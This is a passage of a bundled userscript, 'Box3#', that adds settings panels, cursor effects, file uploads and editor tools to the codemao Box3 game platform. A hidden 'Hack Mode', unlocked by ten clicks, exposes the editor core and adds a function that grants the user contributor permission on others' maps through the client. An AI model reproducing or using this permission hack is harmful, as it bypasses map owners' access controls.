  3967. "magicCursor.enable": true,
  3968. "magicCursor.color": "#4174ff",
  3969. "magicCursor.rippleColor": "#42e9ff",
  3970. "magicCursor.opacity": 0.5,
  3971. "ui.windowPos": [0, 0],
  3972. "home.showcaseCols": 4,
  3973. "home.hideCarousel": false
  3974. };
  3975. function startLoading(text = "Please wait...") {
  3976. Swal.fire({
  3977. titleText: "请稍等",
  3978. allowOutsideClick: false,
  3979. text,
  3980. showConfirmButton: false
  3981. });
  3982. Swal.showLoading(null);
  3983. return () => Swal.close();
  3984. }
  3985. function showUploadFile(multiple = false, accept = "") {
  3986. return new Promise((ok) => {
  3987. const result = [];
  3988. const input = document.createElement("input");
  3989. input.type = "file";
  3990. input.accept = accept;
  3991. input.multiple = multiple;
  3992. input.style.opacity = "0";
  3993. document.body.append(input);
  3994. input.click();
  3995. Swal.fire({
  3996. title: "批量上传",
  3997. text: "请选择文件",
  3998. icon: "info",
  3999. showCancelButton: true,
  4000. cancelButtonText: "取消"
  4001. }).then((result2) => {
  4002. if (result2.isDismissed) {
  4003. ok([]);
  4004. }
  4005. });
  4006. Swal.showLoading(null);
  4007. input.addEventListener("change", async () => {
  4008. input.remove();
  4009. for (let i = 0; i < input.files.length; i++) {
  4010. let isRetry = false;
  4011. const file = input.files.item(i);
  4012. if (!file)
  4013. return;
  4014. do {
  4015. try {
  4016. result.push({
  4017. ...await uploadHash(file, file.name),
  4018. filename: file.name
  4019. });
  4020. isRetry = false;
  4021. } catch (e) {
  4022. const res = e;
  4023. await Swal.fire({
  4024. title: `上传失败`,
  4025. text: `${res.status} ${res.statusText}
  4026. ${await res.text()} 即将重试`,
  4027. timer: 3e3,
  4028. icon: "error"
  4029. });
  4030. isRetry = true;
  4031. }
  4032. } while (isRetry);
  4033. }
  4034. ok(result);
  4035. });
  4036. });
  4037. }
  4038. function sleep(ms) {
  4039. return new Promise((r) => setTimeout(r, ms));
  4040. }
  4041. async function uploadHash(data, name = "") {
  4042. const removeLoading = startLoading("正在上传" + name);
  4043. const res = await fetch("https://static.box3.codemao.cn/block", {
  4044. method: "POST",
  4045. body: data
  4046. });
  4047. removeLoading();
  4048. if (res.ok)
  4049. return await res.json();
  4050. else
  4051. throw res;
  4052. }
  4053. async function waitElement(query) {
  4054. let el;
  4055. while (true) {
  4056. el = document.querySelector(query);
  4057. if (el)
  4058. return el;
  4059. await new Promise(requestAnimationFrame);
  4060. }
  4061. }
  4062. async function waitUntil(f) {
  4063. while (!f())
  4064. await new Promise(requestAnimationFrame);
  4065. }
  4066. let settings = {
  4067. ...defaultConfig,
  4068. ...GM_getValue("settings", {})
  4069. };
  4070. function getSetting(k) {
  4071. return { ...settings }[k];
  4072. }
  4073. function setSetting(k, v) {
  4074. Object.assign(settings, { [k]: v });
  4075. saveSettings();
  4076. }
  4077. function saveSettings() {
  4078. GM_setValue("settings", settings);
  4079. }
  4080. function resetSettings() {
  4081. GM_setValue("settings", defaultConfig);
  4082. location.reload();
  4083. }
  4084. function reloadSettings() {
  4085. settings = GM_getValue("settings", defaultConfig);
  4086. }
  4087. function addFunctionButton(gui2, func, name) {
  4088. const btn = gui2.add(
  4089. {
  4090. func: () => {
  4091. btn.name("⏳ 正在执行操作...");
  4092. btn.disable();
  4093. func().then(() => {
  4094. btn.name(name);
  4095. btn.enable();
  4096. });
  4097. }
  4098. },
  4099. "func"
  4100. ).name(name);
  4101. }
  4102. function addLabel(gui2, name) {
  4103. const btn = gui2.add(
  4104. {
  4105. func: () => {
  4106. }
  4107. },
  4108. "func"
  4109. ).name(name);
  4110. btn.disable();
  4111. return btn;
  4112. }
  4113. function setupMagicCursor() {
  4114. Promise.resolve().then(() => magicCursorStyle$1);
  4115. function addStyle() {
  4116. const style = document.createElement("style");
  4117. style.textContent = "*{cursor:none !important;}";
  4118. document.body.appendChild(style);
  4119. }
  4120. addStyle();
  4121. const canvas = document.createElement("canvas");
  4122. const ctx = canvas.getContext("2d");
  4123. let mousePos = [0, 0];
  4124. let pos = [0, 0];
  4125. const MAX_LENGTH = 30;
  4126. let points = [];
  4127. const ripples = [];
  4128. function resize() {
  4129. canvas.height = innerHeight * devicePixelRatio;
  4130. canvas.width = innerWidth * devicePixelRatio;
  4131. }
  4132. addEventListener("resize", resize);
  4133. document.body.addEventListener("mousemove", ({ clientX, clientY }) => {
  4134. mousePos = [clientX * devicePixelRatio, clientY * devicePixelRatio];
  4135. });
  4136. addEventListener("mousedown", () => {
  4137. ripples.push([...mousePos, 0]);
  4138. });
  4139. addEventListener("wheel", ({ deltaY }) => {
  4140. pos[1] -= deltaY * 0.1;
  4141. });
  4142. resize();
  4143. canvas.classList.add("magic-cursor-canvas");
  4144. document.body.append(canvas);
  4145. function frame() {
  4146. if (document.pointerLockElement) {
  4147. canvas.style.opacity = "0";
  4148. mousePos = [
  4149. innerWidth * devicePixelRatio / 2,
  4150. innerHeight * devicePixelRatio / 2
  4151. ];
  4152. } else {
  4153. canvas.style.opacity = settings["magicCursor.opacity"].toString();
  4154. }
  4155. ctx.clearRect(0, 0, canvas.width, canvas.height);
  4156. requestAnimationFrame(frame);
  4157. pos[0] += (mousePos[0] - pos[0]) / 5;
  4158. pos[1] += (mousePos[1] - pos[1]) / 5;
  4159. ctx.lineJoin = "round";
  4160. ctx.lineCap = "round";
  4161. for (let i = 0; i < points.length; i++) {
  4162. const a = i / MAX_LENGTH;
  4163. ctx.beginPath();
  4164. if (i > 0)
  4165. ctx.moveTo(points[i - 1][0], points[i - 1][1]);
  4166. ctx.lineTo(points[i][0], points[i][1]);
  4167. ctx.strokeStyle = `${settings["magicCursor.color"]}${Math.round(a * 255).toString(16).padStart(2, "0")}`;
  4168. ctx.lineWidth = a * 20;
  4169. ctx.closePath();
  4170. ctx.stroke();
  4171. }
  4172. for (let r of ripples) {
  4173. ctx.beginPath();
  4174. ctx.arc(r[0], r[1], r[2] * 30, 0, Math.PI * 2);
  4175. ctx.fillStyle = `${settings["magicCursor.rippleColor"]}${Math.round(
  4176. (1 - r[2]) * 255
  4177. ).toString(16).padStart(2, "0")}`;
  4178. ctx.closePath();
  4179. ctx.fill();
  4180. r[2] += (1 - r[2]) / 10;
  4181. }
  4182. for (let i = 0; i < ripples.length; i++) {
  4183. if (ripples[i][2] >= 0.999)
  4184. ripples.splice(i, 1);
  4185. }
  4186. ctx.closePath();
  4187. points.push([...pos]);
  4188. ctx.beginPath();
  4189. ctx.arc(mousePos[0], mousePos[1], 3, 0, Math.PI * 2);
  4190. ctx.fillStyle = settings["magicCursor.rippleColor"];
  4191. ctx.closePath();
  4192. ctx.fill();
  4193. while (points.length > MAX_LENGTH) {
  4194. points.splice(0, 1);
  4195. }
  4196. }
  4197. frame();
  4198. }
  4199. function HashTools(gui2) {
  4200. const f = gui2.addFolder("Hash工具");
  4201. f.close();
  4202. addFunctionButton(
  4203. f,
  4204. async () => {
  4205. const input = document.createElement("input");
  4206. input.type = "file";
  4207. input.style.opacity = "0";
  4208. document.body.append(input);
  4209. input.click();
  4210. input.addEventListener("change", async () => {
  4211. const file = input.files[0];
  4212. input.remove();
  4213. if (!file)
  4214. return;
  4215. try {
  4216. const obj = await uploadHash(file);
  4217. navigator.clipboard.writeText(obj.Key);
  4218. if ((await Swal.fire({
  4219. title: "上传完成",
  4220. html: `HashKey: ${obj.Key}<br/>大小: ${obj.Size}<br/>已将Hash复制到剪贴板`,
  4221. cancelButtonText: "关闭",
  4222. confirmButtonText: "打开Hash链接",
  4223. showCancelButton: true,
  4224. icon: "info"
  4225. })).isConfirmed)
  4226. open(`https://static.box3.codemao.cn/block/${obj.Key}`);
  4227. } catch (e) {
  4228. const res = e;
  4229. Swal.fire(
  4230. `上传失败`,
  4231. `${res.status} ${res.statusText}
  4232. ${await res.text()}`,
  4233. "error"
  4234. );
  4235. }
  4236. });
  4237. },
  4238. "上传文件"
  4239. );
  4240. const f2 = f.addFolder("打开Hash");
  4241. addFunctionButton(
  4242. f2,
  4243. async () => {
  4244. const text = (await navigator.clipboard.readText()).trim();
  4245. if (!/^Qm[a-zA-Z0-9]+$/.test(text))
  4246. return Swal.fire(
  4247. "Hash无效",
  4248. `剪贴板中的内容并不是一个有效的hash`,
  4249. "error"
  4250. );
  4251. open(`https://static.box3.codemao.cn/block/${text}`);
  4252. return;
  4253. },
  4254. "打开剪贴板中的hash"
  4255. );
  4256. }
  4257. function updateUIProperty() {
  4258. const element = document.querySelector(".lil-gui.root");
  4259. element.style.opacity = settings["ui.opacity"].toString();
  4260. element.style.width = settings["ui.width"].toString() + "px";
  4261. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4262. element.style.setProperty(
  4263. "--border-radius",
  4264. settings["ui.borderRound"] ? "5px" : "0"
  4265. );
  4266. element.style.setProperty("--blur", settings["ui.blur"].toString() + "px");
  4267. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4268. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4269. }
  4270. function Box3SharpConfig(gui2) {
  4271. updateUIProperty();
  4272. const f = gui2.addFolder("Box3#设置");
  4273. f.close();
  4274. let enableHackClickCount = 0;
  4275. if (!getSetting("flag.hackMode"))
  4276. f.add(
  4277. {
  4278. async f() {
  4279. enableHackClickCount++;
  4280. if (enableHackClickCount == 10) {
  4281. if ((await Swal.fire({
  4282. title: "Enable Hack Mode",
  4283. text: "启用后所造成的一切后果均需要自行承担",
  4284. icon: "warning",
  4285. showConfirmButton: true,
  4286. showCancelButton: true,
  4287. confirmButtonText: "Enable and reload",
  4288. cancelButtonText: "取消"
  4289. })).isConfirmed) {
  4290. setSetting("flag.hackMode", true);
  4291. location.reload();
  4292. } else
  4293. enableHackClickCount = 0;
  4294. }
  4295. }
  4296. },
  4297. "f"
  4298. ).name("▰▰▰ Box3 Sharp ▰▰▰");
  4299. else
  4300. f.add(
  4301. {
  4302. f() {
  4303. setSetting("flag.hackMode", false);
  4304. location.reload();
  4305. }
  4306. },
  4307. "f"
  4308. ).name("Disable Hack Mode");
  4309. f.add(settings, "ui.opacity", 0.1, 1).name("UI透明度").onChange(updateUIProperty);
  4310. f.add(settings, "ui.width", 200, 800).name("UI宽度").onFinishChange(updateUIProperty);
  4311. f.addColor(settings, "ui.primaryColor").name("主题颜色").onChange(updateUIProperty);
  4312. f.add(settings, "ui.blur", 0, 10).name("背景模糊度").onChange(updateUIProperty);
  4313. f.add(settings, "ui.borderRound").name("控件圆角").onFinishChange(updateUIProperty);
  4314. const mcf = f.addFolder("鼠标特效");
  4315. mcf.add(settings, "magicCursor.enable").name("启用鼠标特效(需要刷新)");
  4316. mcf.addColor(settings, "magicCursor.color").name("光标拖尾颜色");
  4317. mcf.addColor(settings, "magicCursor.rippleColor").name("波纹颜色");
  4318. mcf.add(settings, "magicCursor.opacity", 0.1, 1).name("图层透明度");
  4319. addFunctionButton(
  4320. f,
  4321. async () => {
  4322. saveSettings();
  4323. location.reload();
  4324. },
  4325. "保存并刷新"
  4326. );
  4327. addFunctionButton(
  4328. f,
  4329. async () => {
  4330. reloadSettings();
  4331. location.reload();
  4332. },
  4333. "不保存并刷新"
  4334. );
  4335. addFunctionButton(
  4336. f,
  4337. async () => {
  4338. resetSettings();
  4339. },
  4340. "还原为默认值"
  4341. );
  4342. }
  4343. const global$1 = "";
  4344. const guiOverride = "";
  4345. const swalOverride = "";
  4346. let gui;
  4347. let containerWindowElement = document.createElement("div");
  4348. document.body.append(containerWindowElement);
  4349. let dragHandle = document.createElement("div");
  4350. let windowPos = [...settings["ui.windowPos"]];
  4351. containerWindowElement.append(dragHandle);
  4352. let isPlaneDragging = false;
  4353. containerWindowElement.classList.add("container-window");
  4354. dragHandle.classList.add("handle");
  4355. dragHandle.textContent = "拖动以移动窗口";
  4356. dragHandle.addEventListener("mousedown", () => isPlaneDragging = true);
  4357. function updateWindowPosition() {
  4358. containerWindowElement.style.left = ~~windowPos[0] + "px";
  4359. containerWindowElement.style.top = ~~windowPos[1] + "px";
  4360. }
  4361. updateWindowPosition();
  4362. addEventListener("mousemove", ({ movementX, movementY }) => {
  4363. if (isPlaneDragging) {
  4364. windowPos[0] += movementX * (1 / devicePixelRatio);
  4365. windowPos[1] += movementY * (1 / devicePixelRatio);
  4366. updateWindowPosition();
  4367. }
  4368. });
  4369. addEventListener("mouseup", () => {
  4370. isPlaneDragging = false;
  4371. if (windowPos[1] < 0)
  4372. windowPos[1] = 0;
  4373. if (windowPos[0] < 0)
  4374. windowPos[0] = 0;
  4375. if (windowPos[1] > innerHeight - 50)
  4376. windowPos[1] = innerHeight - 50;
  4377. if (windowPos[0] > innerWidth - settings["ui.width"])
  4378. windowPos[0] = innerWidth - settings["ui.width"];
  4379. settings["ui.windowPos"] = [...windowPos];
  4380. saveSettings();
  4381. updateWindowPosition();
  4382. });
  4383. function main() {
  4384. gui = new GUI({ width: 400, autoPlace: false });
  4385. containerWindowElement.append(gui.domElement);
  4386. gui.title(`Box3# v${GM_info.script.version} by AlanBestHacker`);
  4387. console.log(GM_info);
  4388. addFunctionButton(
  4389. gui,
  4390. async () => {
  4391. GM_openInTab(
  4392. GM_info.script.homepageURL || "https://greasyfork.org/zh-CN/scripts/456978-box3-sharp"
  4393. );
  4394. },
  4395. "手动更新"
  4396. );
  4397. async function matchModule() {
  4398. const matches = {
  4399. "box3.fun": "Box3Fun",
  4400. "/me/content($|.+map)": "MapContent",
  4401. "/p/": "Play",
  4402. "/e/": "Editor",
  4403. "box3.codemao.cn/($|.filter.+)": "Home"
  4404. };
  4405. for (let r of Object.keys(matches)) {
  4406. if (new RegExp(r).test(location.href)) {
  4407. try {
  4408. const func = (await __variableDynamicImportRuntimeHelper(/* @__PURE__ */ Object.assign({ "./modules/Box3Fun.ts": () => Promise.resolve().then(() => Box3Fun$1), "./modules/Editor.ts": () => Promise.resolve().then(() => Editor$1), "./modules/Home.ts": () => Promise.resolve().then(() => Home$1), "./modules/MapContent.ts": () => Promise.resolve().then(() => MapContent$1), "./modules/Play.ts": () => Promise.resolve().then(() => Play$1) }), `./modules/${matches[r]}.ts`)).default;
  4409. func(gui);
  4410. } catch (e) {
  4411. addLabel(gui, `❌ 模块 ${matches[r]} 加载失败`);
  4412. console.error(e);
  4413. }
  4414. }
  4415. }
  4416. }
  4417. matchModule();
  4418. HashTools(gui);
  4419. Box3SharpConfig(gui);
  4420. }
  4421. let lastHref = "";
  4422. setInterval(() => {
  4423. if (location.href != lastHref) {
  4424. lastHref = location.href;
  4425. if (gui)
  4426. gui.destroy();
  4427. main();
  4428. }
  4429. }, 100);
  4430. if (settings["magicCursor.enable"])
  4431. setupMagicCursor();
  4432. const magicCursorStyle = "canvas.magic-cursor-canvas {\n height: 100vh;\n width: 100vw;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 9999999999;\n opacity: 0.5;\n pointer-events: none;\n transition: opacity 0.25s;\n}\n";
  4433. const magicCursorStyle$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4434. __proto__: null,
  4435. default: magicCursorStyle
  4436. }, Symbol.toStringTag, { value: "Module" }));
  4437. function Box3Fun(gui2) {
  4438. addFunctionButton(
  4439. gui2,
  4440. async () => {
  4441. startLoading();
  4442. location.href = "https://box3.codemao.cn";
  4443. },
  4444. "跳转到box3.codemao.cn"
  4445. );
  4446. addFunctionButton(
  4447. gui2,
  4448. async () => {
  4449. location.href = "/admin";
  4450. },
  4451. "进入后台(仅限官方)"
  4452. );
  4453. }
  4454. const Box3Fun$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4455. __proto__: null,
  4456. default: Box3Fun
  4457. }, Symbol.toStringTag, { value: "Module" }));
  4458. function GraphicSettings(getCore, state, gui2, needSetSettings = true) {
  4459. const settingsFolder = gui2.addFolder("🎮 高级画质设定").close();
  4460. var VFXSettingsFolder = settingsFolder.addFolder("📈 视觉&性能").close();
  4461. var particleSettingsFolder = settingsFolder.addFolder("💻 后处理特效").close();
  4462. var postProcessSettingsFolder = settingsFolder.addFolder("🎵 音量合成器").close();
  4463. var cameraSettingsFolder = settingsFolder.addFolder("📷 摄像机控制").close();
  4464. var SFXSettingsFolder = settingsFolder.addFolder("✨ 实体粒子数量").close();
  4465. var graphicSettings = state.box3.state.settings;
  4466. [
  4467. VFXSettingsFolder.add(graphicSettings, "resolutionScale", {
  4468. 极低: 0.1,
  4469. 非常低: 0.2,
  4470. 低: 0.3,
  4471. 中: 0.5,
  4472. 高: 0.7,
  4473. 较高: 0.8,
  4474. 全高清: 1,
  4475. "超采样(1.1x)": 1.1,
  4476. "超采样(1.25x)": 1.25,
  4477. "超采样(1.5x)": 1.5,
  4478. "超采样(2.0x)": 2,
  4479. "超采样(2.5x)": 2.5,
  4480. "超采样(3.0x)": 3,
  4481. "超采样(4.0x)": 4
  4482. }).name("清晰度(重进生效)"),
  4483. VFXSettingsFolder.add(
  4484. graphicSettings,
  4485. "animationQuality",
  4486. {
  4487. 低: 0,
  4488. 中: 100,
  4489. 高: 200
  4490. },
  4491. 1
  4492. ).name("动画质量"),
  4493. VFXSettingsFolder.add(graphicSettings, "drawDistance", {
  4494. 非常近: 16,
  4495. 近: 32,
  4496. 中: 64,
  4497. 远: 128,
  4498. 较远: 256,
  4499. 非常远: 512,
  4500. 极远: 1024,
  4501. 荒唐: 2048,
  4502. 疯狂: 4096
  4503. }).name("视野距离"),
  4504. VFXSettingsFolder.add(
  4505. graphicSettings,
  4506. "cameraSensitivity",
  4507. 0.01,
  4508. 3,
  4509. 0.01
  4510. ).name("视角灵敏度"),
  4511. VFXSettingsFolder.add(graphicSettings, "safeShaders").name(
  4512. "安全光影(追求极致效果请关闭)"
  4513. ),
  4514. VFXSettingsFolder.add(graphicSettings, "shadowResolution", {
  4515. 关闭: 0,
  4516. 极低: 128,
  4517. 低: 512,
  4518. 中: 1024,
  4519. 高: 2048,
  4520. 非常高: 4096
  4521. }).name("阴影质量"),
  4522. VFXSettingsFolder.add(graphicSettings, "gamma", 0, 2).name("伽马"),
  4523. VFXSettingsFolder.add(graphicSettings, "lowQualityTextures").name(
  4524. "低质量贴图"
  4525. ),
  4526. VFXSettingsFolder.add(graphicSettings, "hdSky").name("高清天空"),
  4527. VFXSettingsFolder.add(graphicSettings, "reflections").name("反射模式"),
  4528. VFXSettingsFolder.add(graphicSettings, "parallaxMap").name("视差贴图"),
  4529. VFXSettingsFolder.add(
  4530. graphicSettings,
  4531. "parallaxDistance",
  4532. 1,
  4533. 128,
  4534. 0.1
  4535. ).name("视差距离"),
  4536. particleSettingsFolder.add(graphicSettings, "postprocess").name("启用后处理特效"),
  4537. particleSettingsFolder.add(graphicSettings, "depthOfField", {
  4538. 关闭: 0,
  4539. 低: 16,
  4540. 中: 32,
  4541. 高: 64,
  4542. 散光: 128
  4543. }).name("景深强度"),
  4544. particleSettingsFolder.add(graphicSettings, "volumetricScattering").name("体积散射"),
  4545. particleSettingsFolder.add(graphicSettings, "bloom").name("荧光特效"),
  4546. particleSettingsFolder.add(graphicSettings, "fxaa").name("FXAA抗锯齿"),
  4547. postProcessSettingsFolder.add(graphicSettings, "masterMute").name("主音量静音"),
  4548. postProcessSettingsFolder.add(graphicSettings, "masterVolume", 0, 1, 0.01).name("主音量大小"),
  4549. postProcessSettingsFolder.add(graphicSettings, "effectsMute").name("音效静音"),
  4550. postProcessSettingsFolder.add(graphicSettings, "effectsVolume", 0, 1).name("音效音量"),
  4551. postProcessSettingsFolder.add(graphicSettings, "maxSoundEffects", 0, 100, 1).name("最大音效数量"),
  4552. postProcessSettingsFolder.add(graphicSettings, "uiMute").name("界面音效静音"),
  4553. postProcessSettingsFolder.add(graphicSettings, "uiVolume", 0, 1, 0.01).name("界面音效音量"),
  4554. postProcessSettingsFolder.add(graphicSettings, "musicMute").name("背景音乐静音"),
  4555. postProcessSettingsFolder.add(graphicSettings, "musicVolume", 0, 1, 0.01).name("背景音乐音量"),
  4556. SFXSettingsFolder.add(graphicSettings, "maxParticles", 0, 131052, 1).name(
  4557. "最大粒子数量"
  4558. ),
  4559. SFXSettingsFolder.add(
  4560. graphicSettings,
  4561. "maxParticleGroups",
  4562. 0,
  4563. 1024,
  4564. 1
  4565. ).name("最大粒子组数量")
  4566. ].forEach(
  4567. (i) => i.onChange(() => {
  4568. if (needSetSettings)
  4569. getCore().setGameSettings(graphicSettings);
  4570. })
  4571. );
  4572. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "distance", 0, 300).name("摄像机距离");
  4573. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "fovY", 0, 1).name("FovY");
  4574. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "mode", {
  4575. "第三人称(FOLLOW)": 0,
  4576. "锁定(FIXED)": 1,
  4577. "第一人称(FPS)": 2,
  4578. 固定方向: 3
  4579. }).name("相机模式");
  4580. cameraSettingsFolder.add(state.box3.state.secret.replica, "enableCursor").name("启用3D光标");
  4581. cameraSettingsFolder.add(state.box3.state, "hideUI").name("隐藏界面");
  4582. cameraSettingsFolder.add({ a: 0 }, "a", { 视角锁定: 0, 右键拖动: 1 }).name("相机操作模式").onChange((v) => {
  4583. state.box3.input.setCameraBindingMode(v);
  4584. });
  4585. }
  4586. async function Editor(gui2) {
  4587. const f = gui2.addFolder("编辑器工具");
  4588. const btn = f.add({ a() {
  4589. } }, "a").name("等待进入地图").disable();
  4590. const rootElement = await waitElement("#edit-react");
  4591. function getCore() {
  4592. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4593. }
  4594. await waitUntil(
  4595. () => {
  4596. var _a, _b, _c, _d;
  4597. return !getCore().onStart && ((_d = (_c = (_b = (_a = getCore()) == null ? void 0 : _a.state) == null ? void 0 : _b.box3) == null ? void 0 : _c.state) == null ? void 0 : _d.appState) == 2;
  4598. }
  4599. );
  4600. const core = getCore();
  4601. btn.destroy();
  4602. function place(gui22, obj) {
  4603. for (let k of Object.keys(obj)) {
  4604. const v = obj[k];
  4605. if (typeof v === "object") {
  4606. const f2 = gui22.addFolder(k);
  4607. place(f2, v);
  4608. } else if (typeof v === "string") {
  4609. addFunctionButton(gui22, async () => getCore().scriptEval(v), k);
  4610. }
  4611. }
  4612. }
  4613. if (getSetting("flag.hackMode"))
  4614. Object.assign(window, { core });
  4615. place(f, {
  4616. 编辑器常用控制台代码: {
  4617. 移动: {
  4618. 所有玩家返回重生点: `world.querySelectorAll("player").forEach(e=>e.player.forceRespawn())`,
  4619. 切换幽灵模式: `world.querySelectorAll("player").forEach(e=>e.player.spectator=!e.player.spectator)`,
  4620. 切换飞行模式: `world.querySelectorAll("player").forEach(e=>e.player.canFly=!e.player.canFly)`,
  4621. 提高飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed*=2)`,
  4622. 降低飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed/=2)`
  4623. }
  4624. }
  4625. });
  4626. addFunctionButton(
  4627. f,
  4628. async () => {
  4629. const done = startLoading();
  4630. await core.editReplica.stopProject();
  4631. await core.editReplica.startProject();
  4632. done();
  4633. },
  4634. "停止代码并重新开始"
  4635. );
  4636. addFunctionButton(
  4637. f,
  4638. async () => {
  4639. if ((await Swal.fire({
  4640. title: "重启编辑端",
  4641. text: "重启编辑端将会踢出所有玩家并停止编辑器中所有代码,再次启动需要更长时间。仅应用于编辑器卡住等特殊情况,请勿用于恶意用途(重启编辑器需要大约半分钟)",
  4642. confirmButtonText: "确认重启",
  4643. confirmButtonColor: "red",
  4644. showCancelButton: true,
  4645. cancelButtonText: "取消"
  4646. })).isConfirmed) {
  4647. startLoading("正在重启");
  4648. await sleep(2e4);
  4649. core.editReplica.restart();
  4650. location.reload();
  4651. }
  4652. },
  4653. "重启编辑端"
  4654. );
  4655. addFunctionButton(
  4656. f,
  4657. async () => {
  4658. const fileList = await showUploadFile(true, "text/javascript");
  4659. for (let file of fileList) {
  4660. core.assetController.copyAsset(file.filename, {
  4661. contentId: 0,
  4662. hash: file.Key,
  4663. ownerId: 0,
  4664. previewImage: "",
  4665. size: file.Size,
  4666. type: 1
  4667. });
  4668. }
  4669. Swal.fire(
  4670. "批量导入完成",
  4671. `已成功导入${fileList.length}个脚本文件`,
  4672. "success"
  4673. );
  4674. },
  4675. "批量上传脚本"
  4676. );
  4677. addFunctionButton(
  4678. f,
  4679. async () => {
  4680. const fileList = await showUploadFile(true, "audio/*");
  4681. for (let file of fileList) {
  4682. core.assetController.copyAsset(file.filename, {
  4683. contentId: 0,
  4684. hash: file.Key,
  4685. ownerId: 0,
  4686. previewImage: "",
  4687. size: file.Size,
  4688. type: 6
  4689. });
  4690. }
  4691. Swal.fire(
  4692. "批量导入完成",
  4693. `已成功导入${fileList.length}个音频文件`,
  4694. "success"
  4695. );
  4696. },
  4697. "批量上传音频"
  4698. );
  4699. const state = getCore().state;
  4700. GraphicSettings(getCore, state, f, false);
  4701. if (settings["flag.hackMode"]) {
  4702. Object.assign(unsafeWindow, {
  4703. hackContributorPermission() {
  4704. getCore().permissionController.addCollaborator(
  4705. getCore().state.box3.state.secret.userId,
  4706. "contributor"
  4707. );
  4708. Swal.fire(
  4709. "Hack Permission",
  4710. "Got contributor permission (depend on owner's config for contributor group)",
  4711. "success"
  4712. );
  4713. }
  4714. });
  4715. }
  4716. }
  4717. const Editor$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4718. __proto__: null,
  4719. default: Editor
  4720. }, Symbol.toStringTag, { value: "Module" }));
  4721. function Home(gui2) {
  4722. const f = gui2.addFolder("首页优化");
  4723. const overrideStyle = document.createElement("style");
  4724. document.body.append(overrideStyle);
  4725. function updateConfig() {
  4726. overrideStyle.textContent = `
  4727. ._2p590X3xza5oTJJZ3ToFcx ._1yZ6NeMjfGScb4F10xmspg{
  4728. width: calc(${100 / settings["home.showcaseCols"]}% - 16px)
  4729. }
  4730. ${settings["home.hideCarousel"] ? `
  4731. main > div._2PcVy2PEDRfz4Up6wcJEyU > div > div > div._12-esTLCDOtIXa8nIbuTtV{
  4732. display: none
  4733. }
  4734. ` : ""}
  4735. `;
  4736. }
  4737. updateConfig();
  4738. f.add(settings, "home.showcaseCols", 2, 10, 1).name("每行展示作品个数");
  4739. f.add(settings, "home.hideCarousel").name("隐藏轮播图");
  4740. f.children.forEach(
  4741. (child) => child.onFinishChange(saveSettings).onChange(updateConfig)
  4742. );
  4743. }
  4744. const Home$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4745. __proto__: null,
  4746. default: Home
  4747. }, Symbol.toStringTag, { value: "Module" }));
  4748. function _CustomMap(gui2) {
  4749. const f = gui2.addFolder("自定义地图参数");
  4750. const shapeFolder = f.addFolder("地图尺寸");
  4751. const emptyChunk = "QmYUffAgALxiUQonbhAVXjknTq3dNf3AfHQGQ8P5xny7TU";
  4752. const config = {
  4753. shape: {
  4754. x: 128,
  4755. y: 128,
  4756. z: 128
  4757. },
  4758. enableTriggerAPI: false,
  4759. storageMode: "sqlite",
  4760. scriptIndex: "index.js",
  4761. name: "空白自定义地图"
  4762. };
  4763. const create = async () => {
  4764. const errors = [];
  4765. const V = config.shape.x * config.shape.y * config.shape.z;
  4766. if (V >= 67108864) {
  4767. errors.push("地图总体积不得超过67108864");
  4768. }
  4769. if (!/^.+\.js$/.test(config.scriptIndex)) {
  4770. errors.push("脚本入口错误");
  4771. }
  4772. if (errors.length > 0) {
  4773. return Swal.fire({
  4774. title: `输入有误`,
  4775. html: "您输入的参数存在以下问题<br/>" + errors.map((i) => "⚠ " + i).join("<br/>"),
  4776. icon: "error"
  4777. });
  4778. }
  4779. try {
  4780. let buildVoxelChunks = function() {
  4781. var chunks = [], xx = config.shape.x / 32, yy = config.shape.y / 32, zz = config.shape.z / 32;
  4782. for (let i = 1; i < zz; i++) {
  4783. chunks = chunks.concat(
  4784. new Array(xx - 1).fill(
  4785. "QmY4M7B58dARVAJyYf7aonuGjNnaUFUusCQXq9tmifLEKY"
  4786. )
  4787. );
  4788. chunks.push("Qmcoad9FnMdKGbxn5ifLdCaivVi6T7E2bmDVAdJbwuRD2a");
  4789. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4790. }
  4791. chunks = chunks.concat(
  4792. new Array(xx - 1).fill(
  4793. "QmaCUNCe7XDEnXJqprgikquGk6H5nkMegxi77h2aaRyc2b"
  4794. )
  4795. );
  4796. chunks.push("QmX49DZMGEY9ANyzfbrWhiEKk1hkz9SRpFn2NTKMRUjQzj");
  4797. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4798. return chunks;
  4799. };
  4800. const voxelsHash = (await uploadHash(
  4801. JSON.stringify({
  4802. chunks: buildVoxelChunks(),
  4803. shape: config.shape
  4804. })
  4805. )).Key;
  4806. console.log("Voxels Hash", voxelsHash);
  4807. const projectHash = (await uploadHash(
  4808. JSON.stringify({
  4809. ambientSound: "QmcNbLSSQfVcDpH9jSX38RSVrL1SZK3vNMZwaP7cMkKqvY",
  4810. assets: "QmQ7F5ee4rxLn5UQgjKrrtaX1Qif1P48NxYiSv3damw5G3",
  4811. collisionFilter: [],
  4812. committerId: 0,
  4813. deleteAssets: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4814. editRoot: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4815. entities: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4816. environment: "QmSnYEH7wPftKcr8qDaBWf5PrbHrqKbqEhTUthQsDuhPqV",
  4817. features: { enableTriggerAPI: config.enableTriggerAPI },
